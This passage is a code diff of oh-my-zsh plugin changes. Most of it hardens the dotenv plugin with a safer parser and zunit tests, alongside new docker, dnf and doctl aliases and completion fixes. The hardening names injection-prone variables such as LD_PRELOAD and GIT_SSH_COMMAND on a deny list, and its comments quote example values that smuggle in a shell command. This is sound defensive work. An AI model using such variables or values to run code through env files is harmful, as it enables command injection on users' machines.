alias dnfs="${dnfprog} search" # Search package alias dnfs="${dnfprog} search" # Search package
alias dnfu="sudo ${dnfprog} upgrade" # Upgrade package alias dnfu="sudo ${dnfprog} upgrade" # Upgrade package
alias dnfur="sudo ${dnfprog} upgrade --refresh" # Upgrade package and refresh repos
alias dnfi="sudo ${dnfprog} install" # Install package alias dnfi="sudo ${dnfprog} install" # Install package
alias dnfr="sudo ${dnfprog} remove" # Remove package alias dnfr="sudo ${dnfprog} remove" # Remove package
alias dnfc="sudo ${dnfprog} clean all" # Clean cache alias dnfc="sudo ${dnfprog} clean all" # Clean cache
+1
View File
@@ -17,6 +17,7 @@ plugins=(... docker-compose)
|-----------|----------------------------------|----------------------------------------------------------------------------------| |-----------|----------------------------------|----------------------------------------------------------------------------------|
| dco | `docker-compose` | Docker-compose main command | | dco | `docker-compose` | Docker-compose main command |
| dcb | `docker-compose build` | Build containers | | dcb | `docker-compose build` | Build containers |
| dcc | `docker-compose config` | Parse, resolve and render compose file in canonical format |
| dce | `docker-compose exec` | Execute command inside a container | | dce | `docker-compose exec` | Execute command inside a container |
| dcps | `docker-compose ps` | List containers | | dcps | `docker-compose ps` | List containers |
| dcrestart | `docker-compose restart` | Restart container | | dcrestart | `docker-compose restart` | Restart container |
@@ -6,6 +6,7 @@
alias dco="$dccmd" alias dco="$dccmd"
alias dcb="$dccmd build" alias dcb="$dccmd build"
alias dcc="$dccmd config"
alias dce="$dccmd exec" alias dce="$dccmd exec"
alias dcps="$dccmd ps" alias dcps="$dccmd ps"
alias dcrestart="$dccmd restart" alias dcrestart="$dccmd restart"
+3
View File
@@ -51,6 +51,7 @@ If you use Podman's Docker wrapper, you need to enable legacy completion. See ab
| dcin | `docker container inspect` | Display detailed information on one or more containers | | dcin | `docker container inspect` | Display detailed information on one or more containers |
| dcls | `docker container ls` | List all the running docker containers | | dcls | `docker container ls` | List all the running docker containers |
| dclsa | `docker container ls -a` | List all running and stopped containers | | dclsa | `docker container ls -a` | List all running and stopped containers |
| dcprune | `docker container prune` | Remove all stopped containers |
| dib | `docker image build` | Build an image from a Dockerfile (same as docker build) | | dib | `docker image build` | Build an image from a Dockerfile (same as docker build) |
| dii | `docker image inspect` | Display detailed information on one or more images | | dii | `docker image inspect` | Display detailed information on one or more images |
| dils | `docker image ls` | List docker images | | dils | `docker image ls` | List docker images |
@@ -64,6 +65,7 @@ If you use Podman's Docker wrapper, you need to enable legacy completion. See ab
| dndcn | `docker network disconnect` | Disconnect a container from a network | | dndcn | `docker network disconnect` | Disconnect a container from a network |
| dni | `docker network inspect` | Return information about one or more networks | | dni | `docker network inspect` | Return information about one or more networks |
| dnls | `docker network ls` | List all networks the engine daemon knows about, including those spanning multiple hosts | | dnls | `docker network ls` | List all networks the engine daemon knows about, including those spanning multiple hosts |
| dnprune | `docker network prune` | Remove all unused networks |
| dnrm | `docker network rm` | Remove one or more networks | | dnrm | `docker network rm` | Remove one or more networks |
| dpo | `docker container port` | List port mappings or a specific mapping for the container | | dpo | `docker container port` | List port mappings or a specific mapping for the container |
| dps | `docker ps` | List all the running docker containers | | dps | `docker ps` | List all the running docker containers |
@@ -73,6 +75,7 @@ If you use Podman's Docker wrapper, you need to enable legacy completion. See ab
| drit | `docker container run -it` | Create a new container and start it in an interactive shell | | drit | `docker container run -it` | Create a new container and start it in an interactive shell |
| drm | `docker container rm` | Remove the specified container(s) | | drm | `docker container rm` | Remove the specified container(s) |
| drm! | `docker container rm -f` | Force the removal of a running container (uses SIGKILL) | | drm! | `docker container rm -f` | Force the removal of a running container (uses SIGKILL) |
| dsprune | `docker system prune` | Remove unused data |
| dst | `docker container start` | Start one or more stopped containers | | dst | `docker container start` | Start one or more stopped containers |
| drs | `docker container restart` | Restart one or more containers | | drs | `docker container restart` | Restart one or more containers |
| dsta | `docker stop $(docker ps -q)` | Stop all running containers | | dsta | `docker stop $(docker ps -q)` | Stop all running containers |
+12 -4
View File
@@ -2,6 +2,7 @@ alias dbl='docker build'
alias dcin='docker container inspect' alias dcin='docker container inspect'
alias dcls='docker container ls' alias dcls='docker container ls'
alias dclsa='docker container ls -a' alias dclsa='docker container ls -a'
alias dcprune='docker container prune'
alias dib='docker image build' alias dib='docker image build'
alias dii='docker image inspect' alias dii='docker image inspect'
alias dils='docker image ls' alias dils='docker image ls'
@@ -15,6 +16,7 @@ alias dncn='docker network connect'
alias dndcn='docker network disconnect' alias dndcn='docker network disconnect'
alias dni='docker network inspect' alias dni='docker network inspect'
alias dnls='docker network ls' alias dnls='docker network ls'
alias dnprune='docker network prune'
alias dnrm='docker network rm' alias dnrm='docker network rm'
alias dpo='docker container port' alias dpo='docker container port'
alias dps='docker ps' alias dps='docker ps'
@@ -24,6 +26,7 @@ alias dr='docker container run'
alias drit='docker container run -it' alias drit='docker container run -it'
alias drm='docker container rm' alias drm='docker container rm'
alias 'drm!'='docker container rm -f' alias 'drm!'='docker container rm -f'
alias dsprune='docker system prune'
alias dst='docker container start' alias dst='docker container start'
alias drs='docker container restart' alias drs='docker container restart'
alias dsta='docker stop $(docker ps -q)' alias dsta='docker stop $(docker ps -q)'
@@ -53,14 +56,19 @@ if [[ ! -f "$ZSH_CACHE_DIR/completions/_docker" ]]; then
_comps[docker]=_docker _comps[docker]=_docker
fi fi
{ zmodload -F zsh/files b:zf_mv
() {
local plugin_dir="$1"
# `docker completion` is only available from 23.0.0 on # `docker completion` is only available from 23.0.0 on
# docker version returns `Docker version 24.0.2, build cb74dfcd85` # docker version returns `Docker version 24.0.2, build cb74dfcd85`
# with `s:,:` remove the comma after the version, and select third word of it # with `s:,:` remove the comma after the version, and select third word of it
if zstyle -t ':omz:plugins:docker' legacy-completion || \ if zstyle -t ':omz:plugins:docker' legacy-completion || \
! is-at-least 23.0.0 ${${(s:,:z)"$(command docker --version)"}[3]}; then ! is-at-least 23.0.0 ${${(s:,:z)"$(command docker --version)"}[3]}; then
command cp "${0:h}/completions/_docker" "$ZSH_CACHE_DIR/completions/_docker" command cp "${plugin_dir}/completions/_docker" "$ZSH_CACHE_DIR/completions/_docker"
else else
command docker completion zsh | tee "$ZSH_CACHE_DIR/completions/_docker" > /dev/null local TMPPREFIX="$ZSH_CACHE_DIR/completions/_docker"
zf_mv -f -- =( command docker completion zsh ) "$TMPPREFIX"
fi fi
} &| } "${0:A:h}" &|
+5 -1
View File
@@ -14,4 +14,8 @@ if [[ ! -f "$ZSH_CACHE_DIR/completions/_doctl" ]]; then
_comps[doctl]=_doctl _comps[doctl]=_doctl
fi fi
doctl completion zsh >| "$ZSH_CACHE_DIR/completions/_doctl" &| zmodload -F zsh/files b:zf_mv
() {
local TMPPREFIX="$ZSH_CACHE_DIR/completions/_doctl"
zf_mv -f -- =( doctl completion zsh ) "$TMPPREFIX"
} &|
+9
View File
@@ -0,0 +1,9 @@
tap: false
directories:
tests: tests
output: tests/_output
support: tests/_support
time_limit: 0
fail_fast: false
allow_risky: false
verbose: false
+45 -2
View File
@@ -34,6 +34,25 @@ PORT=3001
You can even mix both formats, although it's probably a bad idea. You can even mix both formats, although it's probably a bad idea.
Multi-line values are supported using quoted strings:
```sh
PRIVATE_KEY="-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEA...
-----END RSA PRIVATE KEY-----"
```
Variables defined earlier in the file can be referenced by later entries:
```sh
BASE_URL=https://example.com
API_URL=$BASE_URL/api
ASSETS_URL=${BASE_URL}/assets
```
Note: only variables defined within the same `.env` file are expanded this way —
shell environment variables that already exist are **not** substituted.
## Settings ## Settings
### ZSH_DOTENV_FILE ### ZSH_DOTENV_FILE
@@ -86,13 +105,37 @@ mount `.env` files as named pipes to inject secrets on-the-fly without writing t
No additional configuration is required — the plugin automatically detects and sources named pipes. No additional configuration is required — the plugin automatically detects and sources named pipes.
## Tests
The tests use [zunit](https://github.com/zunit-zsh/zunit). Install it per its [documentation](https://github.com/zunit-zsh/zunit#installation), then run:
```sh
cd plugins/dotenv && zunit
```
> [NOTE!]
> zunit also requires installing [Revolver](https://github.com/molovo/revolver).
## Version Control ## Version Control
**It's strongly recommended to add `.env` file to `.gitignore`**, because usually it contains sensitive information such as your credentials, secret keys, passwords etc. You don't want to commit this file, it's supposed to be local only. **It's strongly recommended to add `.env` file to `.gitignore`**, because usually it contains sensitive information such as your credentials, secret keys, passwords etc. You don't want to commit this file, it's supposed to be local only.
## Disclaimer ## Security
This plugin only sources the `.env` file. Nothing less, nothing more. It doesn't do any checks. It's designed to be the fastest and simplest option. You're responsible for the `.env` file content. You can put some code (or weird symbols) there, but do it on your own risk. `dotenv` is the basic tool, yet it does the job. The plugin applies several best-effort safeguards when loading a `.env` file:
- **Size limit** — files larger than 10 MiB are rejected to prevent DoS.
- **Syntax check** — the file is validated with `zsh -fn` before any variables are set.
- **No command substitution** — entries containing `$(...)` or backtick constructs are skipped.
- **Forbidden variables** — the following variables are never overwritten, regardless of what the
`.env` file contains: `NODE_OPTIONS`, `BASH_ENV`, `ENV`, `ZDOTDIR`, `ZSH`, `LD_PRELOAD`,
`LD_LIBRARY_PATH`, `DYLD_INSERT_LIBRARIES`, `GIT_CONFIG_GLOBAL`, `GIT_DIR`, `GIT_EDITOR`,
`GIT_EXTERNAL_DIFF`, `GIT_EXEC_PATH`, `GIT_PAGER`, `GIT_SSH`, `GIT_SSH_COMMAND`,
`GIT_SSL_NO_VERIFY`, `GIT_TEMPLATE_DIR`, `VISUAL`, `PAGER`, `EDITOR`, and all zsh special
parameters.
These measures are **best-effort** — you are still responsible for the content of your `.env`
file. Do not use this plugin as a security boundary.
If you need more advanced and feature-rich ENV management, check out these awesome projects: If you need more advanced and feature-rich ENV management, check out these awesome projects:
+279 -10
View File
@@ -7,9 +7,271 @@
: ${ZSH_DOTENV_ALLOWED_LIST:="${ZSH_CACHE_DIR:-$ZSH/cache}/dotenv-allowed.list"} : ${ZSH_DOTENV_ALLOWED_LIST:="${ZSH_CACHE_DIR:-$ZSH/cache}/dotenv-allowed.list"}
: ${ZSH_DOTENV_DISALLOWED_LIST:="${ZSH_CACHE_DIR:-$ZSH/cache}/dotenv-disallowed.list"} : ${ZSH_DOTENV_DISALLOWED_LIST:="${ZSH_CACHE_DIR:-$ZSH/cache}/dotenv-disallowed.list"}
## Functions ## Functions
_parse_dotenv_content() {
setopt localoptions extendedglob
local content="$1"
local mode="${2:-export}"
# Validate mode argument
case "$mode" in
export|test) ;;
*)
echo "parse_dotenv: invalid mode '$mode' (use 'export' or 'test')" >&2
return 1
;;
esac
local node line key value
local raw_value expanded prefix remainder var_name escaped_dollar_placeholder
local sq dq uq safe
local -A parsed_vars
local -a nodes lines
# Parse into command lines separated by `;`, with built-in support for multi-line commands.
# (Z:C:) ignores comments and preserves quotes and escapes.
#
# All logical commands are separated by literal ';' elements, which allows us to reconstruct logical lines
# by joining all elements between ';'.
#
# Example input:
# VAR1=value1; VAR2=value2
# VAR3="multi
# line value"
# Result:
# typeset -a nodes=( 'VAR1=value1' ';' 'VAR2=value2' ';' $'VAR3="multi\nline value"' )
# typeset -a lines=( 'VAR1=value1' 'VAR2=value2' $'VAR3="multi\nline value"' )
#
nodes=("${(@Z:C:)content}" ";") # last ';' ensures we add the final command
for node in "${nodes[@]}"; do
if [[ "$node" == ";" ]]; then
if [[ -n "$line" ]]; then
lines+=("$line")
line=""
fi
continue
fi
[[ -z "$line" ]] || line+=" "
line+="$node"
done
local -a forbidden_vars=(
NODE_OPTIONS
BASH_ENV
ENV
ZDOTDIR
ZSH
LD_PRELOAD
LD_LIBRARY_PATH
DYLD_INSERT_LIBRARIES
GIT_CONFIG_GLOBAL
GIT_DIR
GIT_EDITOR
GIT_EXTERNAL_DIFF
GIT_EXEC_PATH
GIT_PAGER
GIT_SSH
GIT_SSH_COMMAND
GIT_SSL_NO_VERIFY
GIT_TEMPLATE_DIR
VISUAL
PAGER
EDITOR
${(k)parameters[(R)*export*special]}
)
local forbidden="${(j:|:)forbidden_vars}"
# Each line contains a single command line, we need to parse valid KEY=VALUE pairs
for line in "${lines[@]}"; do
# Strip leading 'export ' keyword
line="${line#export[ ]}"
# Match KEY=VALUE pattern
# "A name may be any sequence of alphanumeric characters and underscores"
# https://zsh.sourceforge.io/Doc/Release/Parameters.html#Parameters
if [[ ! "$line" =~ ^([a-zA-Z_][a-zA-Z0-9_]*)=(.*)$ ]]; then
continue
fi
key="${match[1]}"
value="${match[2]}"
raw_value="$value"
# Filter out variables to be ignored for security reasons (best effort)
if [[ "$key" == (${~forbidden}) ]]; then
continue
fi
# Use tokenization to split value with native shell parsing (handles quotes and escapes)
# Ignore any values that parse to multiple words, e.g. `BASE_URL=/ echo command run`
local -a words
words=("${(@z)value}")
if [[ ${#words} -ne 1 ]]; then
continue
fi
## START: FILTER COMMAND EXPANSION
#
# Filter lines with command expansion not in safe contexts
#
# READER'S NOTE: this is actually a "best effort" check (works in tests), but
# only to prevent setting variables with command substitution. The actual effect
# of setting them would not be a vulnerability, because we use `typeset name=value`
# and value is a quoted string parsed by zsh itself with `${(Z:C:)content}`.
#
# What does this mean? If we were to remove this filter block, this is what would happen:
#
# Input: DANGEROUS=$(echo this is a command)
# Output: DANGEROUS='$(echo this is a command)' (literal string, no command execution)
#
# Check for potential command substitution outside of safe contexts
# - single-quoted strings: command substitution is literal there
sq="'[^']#'"
# - double-quoted strings, but NOT unescaped ` or $(
dq='"([^"$`\\]|\\.|\\$[^(\`])#"'
# - unquoted text, but NOT unescaped ` or $(
uq='([^$`'"'"'"\\]|\\.|\\$[^(\`])#'
safe="(${sq}|${dq}|${uq})#"
# Remove the longest safe prefix; what remains starts at first unsafe construct
remainder="${value##${~safe}}"
if [[ "$remainder" == *'$('* || "$remainder" == *'`'* ]]; then
continue
fi
## END: FILTER COMMAND EXPANSION
# Single-quoted values are fully literal and must not participate in expansion.
if [[ "$raw_value" == \'*\' ]]; then
value="${(Q)value}"
parsed_vars[$key]="$value"
if [[ "$mode" == "export" ]]; then
typeset -x "$key"="$value"
fi
continue
fi
# Preserve escaped dollars so they remain literal after unquoting.
escaped_dollar_placeholder=$'\001DOTENV_ESCAPED_DOLLAR\001'
value="${value//\\\$/$escaped_dollar_placeholder}"
# Unquote the value to handle special characters and multiline values.
value="${(Q)value}"
# Expand previously parsed in-file variables without partial name matches.
expanded=""
prefix=""
remainder="$value"
var_name=""
while [[ "$remainder" == *'$'* ]]; do
prefix="${remainder%%\$*}"
expanded+="$prefix"
remainder="${remainder#$prefix}"
if [[ "$remainder" =~ '^\$\{([a-zA-Z_][a-zA-Z0-9_]*)\}(.*)$' ]]; then
var_name="${match[1]}"
remainder="${match[2]}"
elif [[ "$remainder" =~ '^\$([a-zA-Z_][a-zA-Z0-9_]*)(.*)$' ]]; then
var_name="${match[1]}"
remainder="${match[2]}"
else
expanded+='$'
remainder="${remainder#?}"
continue
fi
if [[ -v "parsed_vars[$var_name]" ]]; then
expanded+="${parsed_vars[$var_name]}"
fi
done
value="${expanded}${remainder}"
value="${value//$escaped_dollar_placeholder/\$}"
# Store in parsed vars (for in-file expansion)
parsed_vars[$key]="$value"
# Normal mode: export the variable
if [[ "$mode" == "export" ]]; then
typeset -x "$key"="$value"
fi
done
# In test mode, set DOTENV_TEST_VARS
typeset -gA DOTENV_TEST_VARS
DOTENV_TEST_VARS=("${(@kv)parsed_vars}")
}
parse_dotenv() {
local filename="$1"
local mode="${2:-export}"
local content
# Fail if file is too large to avoid DoS
zmodload -F zsh/stat b:zstat
local -i file_size max_size=10485760 # 10MiB
if ! file_size=$(zstat +size "$filename" 2>/dev/null); then
echo "dotenv: unable to determine size of file '$filename'" >&2
return 1
fi
if (( file_size > max_size )); then
echo "dotenv: file '$filename' is too large to parse (size: $file_size bytes)" >&2
return 1
fi
content="$(<"$filename")" || return 1
_parse_dotenv_content "$content" "$mode"
}
_dotenv_read_limited() {
local filename="$1"
local chunk content=""
local -i max_size=10485760 total=0 read_size=0 fd read_status
zmodload zsh/system || return 1
exec {fd}<"$filename" || return 1
while true; do
sysread -i $fd -s 65536 -c read_size chunk
read_status=$?
if (( read_status == 5 )); then
break
elif (( read_status != 0 )); then
exec {fd}<&-
return 1
fi
(( total += read_size ))
if (( total > max_size )); then
exec {fd}<&-
echo "dotenv: file '$filename' is too large to parse (size: more than $max_size bytes)" >&2
return 1
fi
content+="$chunk"
done
exec {fd}<&-
REPLY="$content"
}
_dotenv_check_syntax() {
local filename="$1"
if (( $# == 2 )); then
printf '%s' "$2" | zsh -fn /dev/stdin
else
zsh -fn -- "$filename"
fi || {
echo "dotenv: error when sourcing '$filename' file" >&2
return 1
}
}
source_env() { source_env() {
if [[ ! -f "$ZSH_DOTENV_FILE" ]] && [[ ! -p "$ZSH_DOTENV_FILE" ]]; then if [[ ! -f "$ZSH_DOTENV_FILE" ]] && [[ ! -p "$ZSH_DOTENV_FILE" ]]; then
return return
@@ -37,28 +299,35 @@ source_env() {
[[ $column -eq 1 ]] || echo [[ $column -eq 1 ]] || echo
# print same-line prompt and output newline character if necessary # print same-line prompt and output newline character if necessary
echo -n "dotenv: found '$ZSH_DOTENV_FILE' file. Source it? ([Y]es/[n]o/[a]lways/n[e]ver) " echo -n "dotenv: found '$ZSH_DOTENV_FILE' file. Source it? ([y]es/[N]o/[a]lways/n[e]ver) "
read -k 1 confirmation read -k 1 confirmation
[[ "$confirmation" = $'\n' ]] || echo [[ "$confirmation" = $'\n' ]] || echo
# check input # check input
case "$confirmation" in case "$confirmation" in
[nN]) return ;; [yY]) ;;
[aA]) echo "$dirpath" >> "$ZSH_DOTENV_ALLOWED_LIST" ;; [aA]) echo "$dirpath" >> "$ZSH_DOTENV_ALLOWED_LIST" ;;
[eE]) echo "$dirpath" >> "$ZSH_DOTENV_DISALLOWED_LIST"; return ;; [eE]) echo "$dirpath" >> "$ZSH_DOTENV_DISALLOWED_LIST"; return ;;
*) ;; # interpret anything else as a yes *) return ;; # interpret anything else as a no
esac esac
fi fi
fi fi
# test .env syntax local content
zsh -fn $ZSH_DOTENV_FILE || { if [[ -p "$ZSH_DOTENV_FILE" ]]; then
echo "dotenv: error when sourcing '$ZSH_DOTENV_FILE' file" >&2 _dotenv_read_limited "$ZSH_DOTENV_FILE" || return 1
return 1 content="$REPLY"
} _dotenv_check_syntax "$ZSH_DOTENV_FILE" "$content" || return 1
setopt localoptions allexport setopt localoptions allexport
source $ZSH_DOTENV_FILE _parse_dotenv_content "$content"
return
fi
_dotenv_check_syntax "$ZSH_DOTENV_FILE" || return 1
setopt localoptions allexport
parse_dotenv "$ZSH_DOTENV_FILE"
} }
autoload -U add-zsh-hook autoload -U add-zsh-hook
+2
View File
@@ -0,0 +1,2 @@
*
!.gitignore
+139
View File
@@ -0,0 +1,139 @@
#!/usr/bin/env zsh
# Bootstrap script for dotenv plugin tests
# This is sourced before any tests run and provides shared utilities
# Load the dotenv plugin
source "$PWD/dotenv.plugin.zsh"
ZSH_DOTENV_PROMPT=false
ZSH_DOTENV_FILE=/dev/null
# Helper: Parse dotenv file in test mode
_parse_dotenv_test() {
parse_dotenv "$1" "test"
}
# Helper: Parse dotenv file in export mode
_parse_dotenv_export() {
unset "${(k)parameters[(R)*export*]}" 2>/dev/null || true
parse_dotenv "$1" "test"
for key in "${(k)DOTENV_TEST_VARS}"; do
typeset -x "$key"="${DOTENV_TEST_VARS[$key]}"
done
}
# Helper: Run parse_dotenv suppressing stderr
_parse_dotenv_quiet() {
parse_dotenv "$@" 2>/dev/null
}
# Helper: Create a temporary test fixture
_create_temp_fixture() {
local fixture
fixture==(:) # Create temp file
echo "$fixture"
}
_write_temp_fixture() {
local fixture="$1"
> "$fixture"
}
# Helper: Source file with allexport and capture variables
# Usage: _source_with_allexport "file.env"
# Result is in DOTENV_SOURCE_VARS associative array
_source_with_allexport() {
local filename="$1"
# Source with allexport in a subshell with no exported variables
# The return and capture of the exported variables is a bit of a pain:
# 1. We first store the key=value pairs in $vars associative array, which is
# defined before allexport is set to avoid appearing in results.
# 2. Afterwards, we join all keys and values of the associative with null delimiters. With
# "$(@kv)vars}" we get keys and values with quotes, to retain empty values. With (pj:\0:)
# we join them with nulls.
# 3. The caller reads this output with "${(@0)}" to split by nulls and quoting to retain
# empty values, and then uses it to populate an associative array.
# Don't try to understand this or change it unless you have to. Debugging is a nightmare.
typeset -gA DOTENV_SOURCE_VARS
DOTENV_SOURCE_VARS=("${(@0)"$(
local -A vars
# Clear all exports first
zmodload zsh/parameter
unset ${(k)parameters[(R)*export*]} 2>/dev/null || true
# Source file with allexport
setopt localoptions allexport
source "$filename"
# Set all exported variables into an associative array
for key in ${(k)parameters[(R)*export*]}; do
vars[$key]="${(P)key}"
done
print -rn -- "${(@kvpj:\0:)vars}"
)"}")
}
## ZUnit assertion helpers
_zunit_assert_function_exists() {
[[ "${+functions[$1]}" -eq 1 ]] && return 0
echo "Function '$1' does not exist"
exit 1
}
_zunit_assert_var_same_as() {
local tvalue=${${:-${(Pt)1%-*}}:-unset} tcomp=${${:-${(Pt)2%-*}}:-unset}
if [[ $tvalue != $tcomp ]]; then
echo "Type mismatch: '$1' ($tvalue) and '$2' ($tcomp)"
exit 78
fi
# Special case for associative arrays
if [[ ${(Pt)1} == "association" ]]; then
local -A value=("${(P@kv)1}") comparison=("${(P@kv)2}")
local -aU keys=("${(@k)value}" "${(@k)comparison}")
local ret=0 key
for key in "${keys[@]}"; do
# Key match checks
if [[ -v "value[$key]" && ! -v "comparison[$key]" ]]; then
echo "'$1[$key]' is set (value='${value[$key]}')"
ret=1
elif [[ ! -v "value[$key]" && -v "comparison[$key]" ]]; then
echo "'$1[$key]' is not set (expected='${comparison[$key]}')"
ret=1
# Value match checks
elif [[ "${value[$key]}" != "${comparison[$key]}" ]]; then
echo "'$1[$key]' value mismatch: '${value[$key]}' is not the same as '${comparison[$key]}'"
ret=1
fi
done
exit $ret
fi
# Generic case
local value="${(P)1}" comparison="${(P)2}"
[[ "$value" != "$comparison" ]] || exit 0
echo "'$1' value mismatch: '$value' is not the same as '$comparison'"
exit 1
}
_zunit_assert_var_is_set() {
[[ -v "$1" ]] && return 0
echo "Variable '$1' is not set"
exit 1
}
_zunit_assert_var_is_not_set() {
[[ ! -v "$1" ]] && return 0
echo "Variable '$1' is set"
exit 1
}
@@ -0,0 +1,88 @@
# Consolidated dotenv test fixture from dotenv test suite
# Source: https://github.com/motdotla/dotenv/tree/master/tests
#
# Copyright (c) 2015, Scott Motte
# All rights reserved.
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
# * Redistributions of source code must retain the above copyright notice, this
# list of conditions and the following disclaimer.
# * Redistributions in binary form must reproduce the above copyright notice,
# this list of conditions and the following disclaimer in the documentation
# and/or other materials provided with the distribution.
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
# SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
# CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
# OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
# Basic assignments
BASIC=basic
# previous line intentionally left blank
AFTER_LINE=after_line
# Empty values
EMPTY=
EMPTY_SINGLE_QUOTES=''
EMPTY_DOUBLE_QUOTES=""
# Single quotes (literal, no expansion)
SINGLE_QUOTES='single_quotes'
SINGLE_QUOTES_SPACED=' single quotes '
DONT_EXPAND_SQUOTED='dontexpand\nnewlines'
# Double quotes (with escapes)
DOUBLE_QUOTES="double_quotes"
DOUBLE_QUOTES_SPACED=" double quotes "
EXPAND_NEWLINES="expand\nnew\nlines"
# Unquoted (no escape expansion)
DONT_EXPAND_UNQUOTED=dontexpand\nnewlines
# Quotes inside quotes
DOUBLE_QUOTES_INSIDE_SINGLE='double "quotes" work inside single quotes'
SINGLE_QUOTES_INSIDE_DOUBLE="single 'quotes' work inside double quotes"
# Comments
# COMMENTS=work
INLINE_COMMENTS_SINGLE_QUOTES='inline comments outside of #singlequotes' # work
INLINE_COMMENTS_DOUBLE_QUOTES="inline comments outside of #doublequotes" # work
INLINE_COMMENTS_UNQUOTED=value # work
# Special characters
EQUAL_SIGNS=equals==
RETAIN_INNER_QUOTES_AS_STRING='{"foo": "bar"}'
USEREMAIL=therealnerdybeast@example.tld
# Multiline values with double quotes
MULTI_DOUBLE_QUOTED="THIS
IS
A
MULTILINE
STRING"
# Multiline values with single quotes
MULTI_SINGLE_QUOTED='THIS
IS
A
MULTILINE
STRING'
# Multiline PEM certificate
MULTI_PEM_DOUBLE_QUOTED="-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnNl1tL3QjKp3DZWM0T3u
LgGJQwu9WqyzHKZ6WIA5T+7zPjO1L8l3S8k8YzBrfH4mqWOD1GBI8Yjq2L1ac3Y/
bTdfHN8CmQr2iDJC0C6zY8YV93oZB3x0zC/LPbRYpF8f6OqX1lZj5vo2zJZy4fI/
kKcI5jHYc8VJq+KCuRZrvn+3V+KuL9tF9v8ZgjF2PZbU+LsCy5Yqg1M8f5Jp5f6V
u4QuUoobAgMBAAE=
-----END PUBLIC KEY-----"
@@ -0,0 +1,23 @@
# Export syntax
export EXPORTED_VAR=exported_value
export EXPORTED_EMPTY=
# Variable expansion (in-file forward references)
BASE_URL=https://api.example.com
API_ENDPOINT="${BASE_URL}/v1"
FULL_ENDPOINT=$BASE_URL/v2/users
COMBINED="${BASE_URL}_suffix"
# Testing multiline quoting edge cases
MULTILINE_UNQUOTED=This\ is\ a\ \
multiline\ value\ that\ should\ be\ treated\ as\ a\ single\ line\ with\ a\ literal\ backslash\ and\ newline
MULTILINE_DOUBLE_QUOTED="This is a \
multiline value that should be treated as a single line with an actual newline character"
MULTILINE_SINGLE_QUOTED='This is a \
multiline value that should be treated as a single line with a literal backslash and newline'
MULTILINE_MIXED_QUOTES="This is a \
multiline value that should be treated as a single line with an actual newline character and a literal backslash \"and 'single quotes' inside"
# Test for regressions
DATABASE_URL="postgres://user:pass@host/db;sslmode=require"
VAR_WITH_SEMICOLONS="value ; with ; semicolons"
+398
View File
@@ -0,0 +1,398 @@
#!/usr/bin/env zunit
@setup {
typeset -g fixture="$(_create_temp_fixture)"
typeset -gA expected_vars=()
}
@teardown {
[[ -f "$fixture" ]] && command rm -f "$fixture"
unset DOTENV_TEST_VARS DOTENV_SOURCE_VARS 2>/dev/null
}
@test 'dotenv plugin loads successfully' {
assert "parse_dotenv" function_exists
assert "source_env" function_exists
}
@test 'parse returns error for unsupported mode' {
run _parse_dotenv_quiet "/dev/null" "export"
assert $state equals 0
run _parse_dotenv_quiet "/dev/null" "test"
assert $state equals 0
run _parse_dotenv_quiet "/dev/null" "invalid_mode"
assert $state equals 1
}
@test 'parse returns error for oversized file (> 10MiB)' {
command truncate -s 11M "$fixture" 2>/dev/null
run _parse_dotenv_quiet "$fixture" "test"
assert $state equals 1
}
@test 'parse returns error for non-existent file' {
run _parse_dotenv_quiet "/nonexistent/path/.env" "test"
assert $state equals 1
}
@test 'source_env loads named pipes without blocking' {
local tmpdir fifo output result
local child_pid writer_pid killer_pid child_rc
tmpdir="$(mktemp -d "${TMPDIR:-/tmp}/dotenv.XXXXXX")"
fifo="$tmpdir/.env"
output="$tmpdir/output"
command mkfifo "$fifo"
(
print -r -- 'TOKEN=secret' > "$fifo"
) &
writer_pid=$!
(
ZSH_DOTENV_PROMPT=false
ZSH_DOTENV_FILE="$fifo"
source_env
print -r -- "${TOKEN-<unset>}" > "$output"
) &
child_pid=$!
(
sleep 2
kill -0 $child_pid 2>/dev/null || exit 0
kill $child_pid 2>/dev/null || exit 0
) &
killer_pid=$!
wait $child_pid
child_rc=$?
kill $killer_pid 2>/dev/null || true
kill $writer_pid 2>/dev/null || true
wait $writer_pid 2>/dev/null || true
[[ -f "$output" ]] && result="$(<"$output")"
command rm -rf "$tmpdir"
assert $child_rc equals 0
assert "$result" equals 'secret'
}
@test 'source_env rejects oversized named pipes' {
run zsh -fc '
source ./dotenv.plugin.zsh
tmpdir="$(mktemp -d "${TMPDIR:-/tmp}/dotenv.XXXXXX")" || exit 1
fifo="$tmpdir/.env"
command mkfifo "$fifo" || exit 1
cleanup() {
kill $killer_pid 2>/dev/null || true
kill $writer_pid 2>/dev/null || true
wait $writer_pid 2>/dev/null || true
command rm -rf "$tmpdir"
}
trap cleanup EXIT
(
{
print -rn -- "BIG="
command dd if=/dev/zero bs=10485761 count=1 2>/dev/null | tr "\0" a
} > "$fifo"
) &
writer_pid=$!
(
sleep 2
kill -0 $$ 2>/dev/null || exit 0
kill $$ 2>/dev/null || exit 0
) &
killer_pid=$!
ZSH_DOTENV_PROMPT=false
ZSH_DOTENV_FILE="$fifo"
source_env >/dev/null 2>&1
'
assert $state equals 1
}
@test 'parse basic variable assignment' {
> "$fixture" <<'EOF'
# Basic assignments
BASIC=basic
# previous line intentionally left blank
AFTER_LINE=after_line
EOF
expected_vars=(
BASIC 'basic'
AFTER_LINE 'after_line'
)
